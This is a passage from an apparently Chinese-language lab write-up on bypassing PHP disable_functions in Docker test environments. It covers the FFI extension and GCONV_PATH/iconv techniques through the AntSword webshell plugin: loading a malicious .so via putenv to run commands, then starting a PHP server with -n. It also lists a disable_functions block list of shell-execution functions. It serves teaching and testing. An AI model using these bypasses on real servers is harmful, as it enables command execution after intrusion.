disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
FFI 扩展 复现环境 (opens new window)
docker部署
docker compose up -d
在compose文件里,容器会映射到主机的18080
端口
# 利用
利用条件
- Linux 操作系统
- PHP >= 7.4
- 开启了 FFI 扩展且 ffi.enable=true
通过木马执行phpinfo()函数,查看FFI扩展是否开启
开启了FFI扩展
蚁剑插件直接开日
使用前,蚁剑为什么没有检测到ffi开启呢?
查看最近10分钟修改的文件
find / -type f -exec ls -lt {} + | head -n 10
www-data用户最后一次文件操作是上传了可执行文件,利用ffi扩展,应该可以执行时才修改了蚁剑里ffi扩展的状态显示
# 09 ICONV 利用 GCONV_PATH 环境变量
# 原理
PHP在执行iconv()函数时实际调用了glibc中一些和iconv相关的函数,其中一个叫iconv_open()的函数会根据GCONV_PATH环境变量找到系统的gconv-modules文件,再根据gconv-modules文件找到对应的.so文件进行链接。然后会调用.so文件中的gconv()和gonv_init()函数。修改GCONV_PATH环境变量指向上传的恶意so文件,使函数加载恶意的动态链接库,然后绕过禁用函数执行命令
还是利用putenv
函数,设置GCONV_PATH
环境变量,利用 GCONV_PATH 环境变量, 加载 hack.so, 在 hack.so 中执行命令.
# 配置与部署
php.ini配置
利用 LD_PRELOAD 环境变量 (opens new window)
docker compose up -d
在compose文件里,容器会映射到主机的18081
端口
# 利用
利用条件
- Linux 操作系统
- putenv() 函数
- iconv() 函数
- 存在可写的目录, 需要上传 .so 文件
相比 LD_PRELOAD 环境, 多禁用了 error_log
蚁剑直接上插件,iconv
模式
使用插件后,进行的文件操作:创建了/tmp/gconv_modules
文件夹,上传了/tmp/恶意.so
文件,以及蚁剑代理流量到指定端口的php文件
进程里,/bin/sh
使用php命令开启了一个web服务器,使用-n
参数,忽略php.ini
的配置文件影响,从而实现了绕过disable_functions
的限制
# 参考、致谢
- 常见Bypass Disable Functions方法 (opens new window)
- PHP禁用函数绕过 (opens new window)
- AntSword-Labs/bypass_disable_functions (opens new window)
- bypass php disable_functions (opens new window)
- 通过Antsword看绕过disable_functions (opens new window)
- 绕过disable_functions的限制 (opens new window)
- bypass disable_function (opens new window)